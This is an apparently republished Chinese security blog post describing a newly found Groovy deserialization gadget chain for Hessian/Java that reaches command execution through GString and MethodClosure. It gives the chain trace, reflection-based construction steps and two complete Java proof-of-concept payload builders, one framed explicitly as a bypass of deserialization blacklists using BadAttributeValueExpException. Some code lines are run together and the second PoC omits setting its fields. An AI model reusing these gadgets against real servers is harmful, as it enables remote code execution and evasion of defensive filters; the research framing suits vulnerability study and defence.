Hessian Groovy全新链条分析与黑名单绕过
原创
Triplexlove
Triplexlove
Gh0xE9
2026年10月8日 11:04
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
背景
在反序列化场景下,应用往往会设置多个黑名单条件阻止我们的反序列化链条。或者服务器环境不允许我们进行出网等JNDI的操作。因此我们需要挖掘新的链条构造序列化POC。本文研究了在Groovy依赖下的代码执行链条。
hessian groovy新链条
可以看到目前javachain中hessian groovy只能打JNDI,实则可以命令执行
groovy1链使用了动态代理与ConvertedClosure,而这条新链则不需要这些操作,使用Hashmap作为入口即可。
链条分析
挖掘到的新链条如下
java.util.concurrent.ConcurrentHashMap: void readObject
groovy.lang.GString: int hashCode
groovy.lang.GString: java.lang.String toString
groovy.lang.GString: java.io.Writer writeTo
groovy.lang.Closure: java.lang.Object call
*/
正向分析
首先正向分析
可以看到Gadget中hashmap会调用groovy.lang.GString的hashcode方法。
跟进代码中查看:
紧接着会调用自身的toString方法:
继续又会调用自身的writeTO方法:
而在该方法中调用了groovy.lang.Closure#call,至此完全符合gadget chains的调用。
此处需要满足MaximumNumberOfParameters为0才会调用无参构造方法。
可以看到最终调用了自身的doCall方法
groovy.lang.Closure是一个抽象类
找到一个他的继承类实现了doCall方法,并且参数可控。
可以看到动态调用方法owner和method可以被构造方法完全控制。
因此我们可以执行以下内容从而执行任意命令。
InvokerHelper.invokeMethod(\"open -na calculator\", \"execute\", arguments)
至此整个链条被我们串起来了。
命令执行分析
为什么InvokerHelper.invokeMethod(\"open -na calculator\", \"execute\", arguments)可以执行,分析如下:
java.lang.String 不是 NULL。object instanceof Class也为false
\"calc\" instanceof GroovyObject // false条件成立
因此走到
invokePojoMethod(object, methodName, arguments)
调用逻辑为MetaClass收到
receiver = \"calc\"
method = \"execute\"
args = null
它首先查找实例自身的execute方法,java.lang.String显然没有该方法。
因此Groovy 会扫描所有已注册的 Extension Module,其中包括以下方法(具体的扫描逻辑比较复杂故不分析,只需知道会调用self.execute即可):
org.codehaus.groovy.runtime.ProcessGroovyMethods#execute(java.lang.String)
Extension Method 规则:
如果一个 static 方法
第一个参数类型 = 当前对象类型
→ 当作实例方法使用
于是发生了这个等价变换:
ProcessGroovyMethods.execute(\"calc\")
↓
\"calc\".execute()
整体链条如下
MethodClosure.doCall
→ InvokerHelper.invokeMethod
→ object 是 POJO(String)
→ invokePojoMethod
→ MetaClass.invokeMethod
→ String 没有 execute()
→ 查 Extension Methods
→ ProcessGroovyMethods.execute(String)
→ 命中
反向构造
过刚才的分析,我们已经知道了只需要构造new MethodClosure(command, \"execute\")对象。
把其放入hashMap中,反序列化调用key.hashcode后最终就会调用到命令执行。
因此我首先实例化该对象
MethodClosure closure = new MethodClosure(command, \"execute\");
正向分析时发现maximumNumberOfParameters需要为0才会走进无参的call方法。因此通过反射将该值赋值为0
Reflections.setFieldValue(closure, \"maximumNumberOfParameters\", 0);
closure是GString的fieldvalue,因此我们反射构造GSting的实现类。并且把closure反射复制到values
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
Object[] values = new Object[3];
values[0] = closure;
Reflections.setFieldValue(gString, \"values\", values);
为了使writeTo不报错因此Strings也要赋值
String[] strings = new String[3];
strings[0] = \"nothing\";
Reflections.setFieldValue(gString, \"strings\", strings);
最终把GString放入hashmap序列化,至此我们的poc链条完全构造完成。
return Entry2HashFragment.makeConMap(gString,gString);
完整代码
public Object getObject(final String command)throws Exception {
MethodClosureclosure=newMethodClosure(command, \"execute\");
Reflections.setFieldValue(closure, \"maximumNumberOfParameters\", 0);
GStringImplgString= Reflections.createWithoutConstructor(GStringImpl.class);
Object[] values = newObject[3];
values[0] = closure;
String[] strings = newString[3];
strings[0] = \"triplexlove\";
Reflections.setFieldValue(gString, \"values\", values);
Reflections.setFieldValue(gString, \"strings\", strings);
return Entry2HashFragment.makeConMap(gString,gString);
}
最终触发
黑名单绕过
假设我们入口不能接受hashmap,或者不能反序列化GSting,那我们如何构造呢
我们可以探测到以下链条
<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>
-> <groovy.lang.GString: java.lang.String toString()>
-> <groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)>
-> <groovy.lang.Closure: java.lang.Object call(java.lang.Object)>
<javax.swing.JCheckBox: void readObject(java.io.ObjectInputStream)>
-> <javax.swing.JCheckBox: void updateUI()>
-> <javax.swing.AbstractButton: void setUI(javax.swing.plaf.ButtonUI)>
-> <javax.swing.JComponent: void setUI(javax.swing.plaf.ComponentUI)>
-> <javax.swing.JComponent: void uninstallUIAndProperties()>
-> <javax.swing.JComponent: void putClientProperty(java.lang.Object,java.lang.Object)>
-> <groovy.lang.GString: java.lang.String toString()>
-> <groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)>
-> <groovy.lang.Closure: java.lang.Object call()>
<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>
-> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString()>
-> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString(int)>
-> <groovy.lang.ListWithDefault: java.lang.Object get(int)>
-> <groovy.util.ObservableList: java.lang.Object set(int,java.lang.Object)>
-> <groovy.lang.Closure: java.lang.Object call(java.lang.Object)>
使用第一条按照上述方法我们就很好构造反序列化链条了
代码实现如下
public Object getObject(String command)throws Exception {
MethodClosureclosure=newMethodClosure(command, \"execute\");
Reflections.setFieldValue(closure, \"maximumNumberOfParameters\", 0);
GStringImplgString= Reflections.createWithoutConstructor(GStringImpl.class);
Object[] values = newObject[3];
values[0] = closure;
String[] strings = newString[3];
strings[0] = \"triplexlove\";
BadAttributeValueExpExceptionexp=newBadAttributeValueExpException(null);
Reflections.setFieldValue(exp, \"val\", gString);
return exp;
}
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






评论